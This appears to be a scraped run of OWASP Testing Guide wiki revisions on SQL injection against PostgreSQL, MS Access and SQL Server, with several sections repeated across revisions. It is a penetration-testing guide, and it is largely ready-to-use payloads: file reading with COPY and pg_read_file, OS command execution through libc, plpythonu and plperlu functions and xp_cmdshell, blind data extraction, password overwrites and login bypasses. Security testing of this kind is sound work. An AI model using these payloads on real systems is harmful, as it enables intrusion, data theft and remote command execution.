Native function current_database() return current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two way to access local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between file and table. PostgreSQL engine access local FileSystem with ''postgres'' user rights.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performi a ''UNION Query SQL Injection'':
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieve a row at time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting COPY statement we can write to local filesystem with ''postgres'' user rights as well

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
languages such as python, perl, tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting it's ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on some databsae:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
* If not try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeded create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run a OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as ''open''. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from ''postgres'' user to avoid the so called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not assuming that sysadm has allready installed plperl package try :
*: ''CREATE LANGUAGE plperlu''
* If all of the above succeded create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run a OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

= Tools =

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2008-08-22T23:03:02Z

Marco: /* Short Description of the Issue */

= Short Description of the Issue =

In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL.
Keep in mind the following peculiarities:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we suppose that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is a vulnerable to SQL Injection attack.

= Black Box testing and example =

== Identifing PostgreSQL ==

When a SQL Injection has been found you need to carefully
fingerprint backend database engine. You can determine that backend database engine
is PostgreSQL by using ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL Injection you should take in consideration internal provided functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current
session process sleep for ''n'' seconds.

On previous version you can easy create a custom ''pg_sleep(n)'' by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

String can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ascii value corresponds to the number
* ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' with:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

Current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

Native function current_database() return current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two way to access local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between file and table. PostgreSQL engine access local FileSystem with ''postgres'' user rights.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performi a ''UNION Query SQL Injection'':
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieve a row at time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting COPY statement we can write to local filesystem with ''postgres'' user rights as well

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
languages such as python, perl, tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting it's ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on some databsae:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
* If not try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeded create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run a OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as ''open''. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from ''postgres'' user to avoid the so called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not assuming that sysadm has allready installed plperl package try :
*: ''CREATE LANGUAGE plperlu''
* If all of the above succeded create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run a OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

= Tools =

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

Testing for MS Access

2008-08-22T23:00:38Z

Marco: /* Blind sql injection testing */

{{Template:OWASP Testing Guide v3}}

== Short Description of the Issue ==
In this paragraph we describe how to exploit sql injection vulnerabilties when the
backend database is MS Access. In particular we focus on how to exploit blind sql injection
as this kind of vulnerabilities are more frequent.
After an initial introduction on which are the typical functions
that are useful to exploit a sql injection vulnerability,
we will introduce a clever methodology to exploit blind sql injection.

== Black Box testing and example ==

=== Standard Test ===
First of all, we start showing a typical example of SQL error that we can encounter when
we execute our test:

Fatal error: Uncaught exception 'com_exception' with message 'Source: Microsoft JET Database Engine Description:

If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.

We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately bypass this limit with the NULL character. If we insert the char %00 at some place in
the query, all the remaining characters after the NULL are ignored. That happens
because, internally, strings are NULL terminated.
However, the NULL character can sometimes cause troubles. Luckily, 5f we try every char in the ASCII
charset, we notice that there is another value that can be used in order to truncate the query.
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:

SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'

we can truncate the query with the following two urls:

http://www.example.com/index.php?user=admin'%00&pass=foo
http://www.example.com/index.php?user=admin'%16&pass=foo

==== Attributes enumeration ====
In order to enumerate the attributes of a query, we can use the same method used for the Database
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example,
if we know the existence of a parameter because we got it by an error message due to the
' character, we can also know the name of the remaining attributes with the following query:

' GROUP BY Id%00

in the error message we can notice that the name of the next attribute is shown. We iterate the
method until we obtain the name of all the attributes. If we don't know the name of at least
one attribute, we can insert a fictitious column name, and, just like by magic, we obtain the name of
the first attribute.

==== Obtaining Database Schema ====
In MS Access exist various tables that can be used to obtain the name of a table in a
particular database. In the default configuration this table is not accessible, however it's
worth a try. The names of these table are:

* MSysObjects
* MSysACEs
* MSysAccessXML

For example, if a union SQL injection vulnerability exists, you can use the following query:

' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00

These are the main steps that you can use to exploit a SQL injection vulnerability on
MS Access. There are also some functions that can be useful to exploit custom
queries. Some of these functions are:

* ASC: Obtain the ascii value of a character passed as input
* CHR: Obtain the character of the ascii value passed as input
* LEN: Return the length of the string passed as parameter
* IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'
* MID: This function allows to extract substring, for example the following statement mid('abc',1,1) return 'a'
* TOP: This function allows to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.
* LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.

Some of these functions will be used to exploit a blind SQL injection as we see in the next
paragraph. For other functions please refer to References.

=== Blind sql injection testing ===
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability
that you will find. Generally, you find a SQL injection in a parameter where no union
query is possible. Also, usually, there is no chance to execute shell commands or to read/write
a file. All you can do is infer the result of your query. For our test we take the
following example:

http://www.example.com/index.php?myId=[sql]

where the id parameter is used in the following query:

SELECT * FROM orders WHERE [id]=$myId

For our test, we will consider the myId parameter vulnerable to blind SQL injection.
We want to extract the content of the table users, in particular, of the column
username (we have already seen how to obtain the name of the attributes thanks
to the error messages and other techniques). It is supposed that the reader already knowns the theory behind
the blind SQL injection attack, so we go straight to show some example. A typical query that
can be used to infer the first character of the username of the 10th rows is:

http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko')

If the first character is 'a', this query will return a 0 (a "true response"), otherwise a
'ko' string. Now we will explain why we have used this particular query.
The first thing to point out is that with the functions IFF, MID and LAST, we extract the first
character of the username of the selected row. Unfortunately, the original query returns a set of records and not only one record, so we can't use this methodology directly. We must first select only one row. We can use the TOP function, but it only works with the first row. To select the other
queries we must use a trick. We want to infer the username of the row number 10.
First we use the TOP function to select the first ten rows with the query:

SELECT TOP 10 username FROM users

Then, we extract from this set the last row with the function LAST. Once we have only one row and
exactly the row that we want, we can use the IFF, MID and LAST functions to infer the value
of the username.
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string. With this trick we can distinguish when we have a true response or not. This is because id is of numeric type, so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have no errors. Of course if the parameter was of type string we can use different values. For example, we can have the following query:

http://www.example.com/index.php?id=inexistentValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00

that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistentValueHere')

This method allows us to infer the value of the username. To understand when we have
obtained the complete value we have two choices:

# We try all the printable values, when no one is valid then we have the complete value.
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.

== Tricks ==
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.

=== Alternative Delimiter ===
Some filter strips away the space from the input string. We can bypass this filter using
the following values as delimiter instead of the white space:

'''
9
a
c
d
20
2b
2d
3d
'''

For example we can execute the following query:

http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271

to bypass a hypothetical login form.

== References ==
'''Whitepapers''' 
* http://www.techonthenet.com/access/functions/index_alpha.php
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html

Testing for MS Access

2008-08-22T22:54:08Z

Marco: /* Standard Test */

{{Template:OWASP Testing Guide v3}}

== Short Description of the Issue ==
In this paragraph we describe how to exploit sql injection vulnerabilties when the
backend database is MS Access. In particular we focus on how to exploit blind sql injection
as this kind of vulnerabilities are more frequent.
After an initial introduction on which are the typical functions
that are useful to exploit a sql injection vulnerability,
we will introduce a clever methodology to exploit blind sql injection.

== Black Box testing and example ==

=== Standard Test ===
First of all, we start showing a typical example of SQL error that we can encounter when
we execute our test:

Fatal error: Uncaught exception 'com_exception' with message 'Source: Microsoft JET Database Engine Description:

If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.

We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately bypass this limit with the NULL character. If we insert the char %00 at some place in
the query, all the remaining characters after the NULL are ignored. That happens
because, internally, strings are NULL terminated.
However, the NULL character can sometimes cause troubles. Luckily, 5f we try every char in the ASCII
charset, we notice that there is another value that can be used in order to truncate the query.
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:

SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'

we can truncate the query with the following two urls:

http://www.example.com/index.php?user=admin'%00&pass=foo
http://www.example.com/index.php?user=admin'%16&pass=foo

==== Attributes enumeration ====
In order to enumerate the attributes of a query, we can use the same method used for the Database
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example,
if we know the existence of a parameter because we got it by an error message due to the
' character, we can also know the name of the remaining attributes with the following query:

' GROUP BY Id%00

in the error message we can notice that the name of the next attribute is shown. We iterate the
method until we obtain the name of all the attributes. If we don't know the name of at least
one attribute, we can insert a fictitious column name, and, just like by magic, we obtain the name of
the first attribute.

==== Obtaining Database Schema ====
In MS Access exist various tables that can be used to obtain the name of a table in a
particular database. In the default configuration this table is not accessible, however it's
worth a try. The names of these table are:

* MSysObjects
* MSysACEs
* MSysAccessXML

For example, if a union SQL injection vulnerability exists, you can use the following query:

' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00

These are the main steps that you can use to exploit a SQL injection vulnerability on
MS Access. There are also some functions that can be useful to exploit custom
queries. Some of these functions are:

* ASC: Obtain the ascii value of a character passed as input
* CHR: Obtain the character of the ascii value passed as input
* LEN: Return the length of the string passed as parameter
* IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'
* MID: This function allows to extract substring, for example the following statement mid('abc',1,1) return 'a'
* TOP: This function allows to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.
* LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.

Some of these functions will be used to exploit a blind SQL injection as we see in the next
paragraph. For other functions please refer to References.

=== Blind sql injection testing ===
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability
that you will find. Generally you find a sql injection in a parameter where no union
query is possible. Also, usually there is no chance to execute shell command or to read/write
a file. All you can do is infer the result of your query. For our test we take the
following example:

http://www.example.com/index.php?myId=[sql]

where the id parameter is used in the following query:

SELECT * FROM orders WHERE [id]=$myId

For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.
We want to extract the content of the table users, in particular of the column
username (we have already seen how to obtain the name of the attributes thanks
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind
the blind sql injection attack, so we go straight to show some example. A typical query that
can be used to infer the first character of the username of the 10th rows is:

http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko')

If the first character is 'a', this query will return a 0 (a "true response"), otherwise a
'ko' string. Now we will explain why we have used this particular query.
The first thing to point out is that with the functions IFF, MID and LAST we extract the first
character of the username of the selected row. Unfortunately, the original query returns a set of records
and not only one record, so we can't use this methodology directly. We must first select only one row.
We can use the TOP function, but it only works with the first row. To select the other
queries we must use a trick. We want to infer the username of the row number 10.
First we use the TOP function to select the first ten rows with the query:

SELECT TOP 10 username FROM users

Then we extract from this set the last row with the function LAST. Once we have only one row and
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value
of the username.
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.
With
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have
no errors. Of course if the parameter was of type string we can use different values. For example
we can have the following query:

http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00

that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')

Thanks to this metodology we can infer the value of the username. To understand when we have
obtained the complete value we have two choices:

# We try all the printable values, when no one is valid then we have the complete value.
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.

== Tricks ==
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.

=== Alternative Delimiter ===
Some filter strips away the space from the input string. We can bypass this filter using
the following values as delimiter instead of the white space:

'''
9
a
c
d
20
2b
2d
3d
'''

For example we can execute the following query:

http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271

to bypass a hypothetical login form.

== References ==
'''Whitepapers''' 
* http://www.techonthenet.com/access/functions/index_alpha.php
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html

Testing for SQL Server

2008-08-22T22:43:32Z

Marco: /* Timing attacks */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.
 

== Short Description of the Issue ==
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.

As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:

* Application parameters in query strings (e.g., GET requests)
* Application parameters included as part of the body of a POST request
* Browser-related information (e.g., user-agent, referer)
* Host-related information (e.g., host name, IP)
* Session-related information (e.g., user ID, cookies)

Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests.

== Black Box testing and example ==

===SQL Server Peculiarities===

To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:

* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)
* query separator: ; (semicolon)
* Useful stored procedures include:
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.
 
Let's see now some examples of specific SQL Server attacks that use the aformentioned functions. Most of these examples will use the '''exec''' function.

Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:
<pre>
exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
</pre>
Alternatively, we can use sp_makewebtask:
<pre>
exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
</pre>
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.

In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function '''db_name()''' to trigger an error that will return the name of the database:
<pre>
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())
</pre>
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:
<pre>
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
</pre>
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.

The following example uses the environment variable '''@@version ''', combined with a "union select"-style injection, in order to find the version of the SQL Server.
<pre>/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--
</pre>
And here's the same attack, but using again the conversion trick:
<pre>
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
</pre>
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener.

In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.

===Example 1: Testing for SQL Injection in a GET request. ===

The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):

<nowiki>https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1</nowiki>

If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.

===Example 2: Testing for SQL Injection in a GET request (2).===

In order to learn how many columns there exist

<nowiki>https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--</nowiki>

===Example 3: Testing in a POST request ===

SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0

A complete post example:

POST <nowiki>https://vulnerable.web.app/forgotpass.asp HTTP/1.1</nowiki>
Host: vulnerable.web.app
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: <nowiki>http://vulnerable.web.app/forgotpass.asp</nowiki>
Content-Type: application/x-www-form-urlencoded
Content-Length: 50 
email=%27&whichSubmit=submit&submit.x=0&submit.y=0

The error message obtained when a ' (single quote) character is entered at the email field is:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '' '.
/forgotpass.asp, line 15

===Example 4: Yet another (useful) GET example===

Obtaining the application's source code

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

===Example 5: custom xp_cmdshell===

All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.
 
On SQL Server 2000:
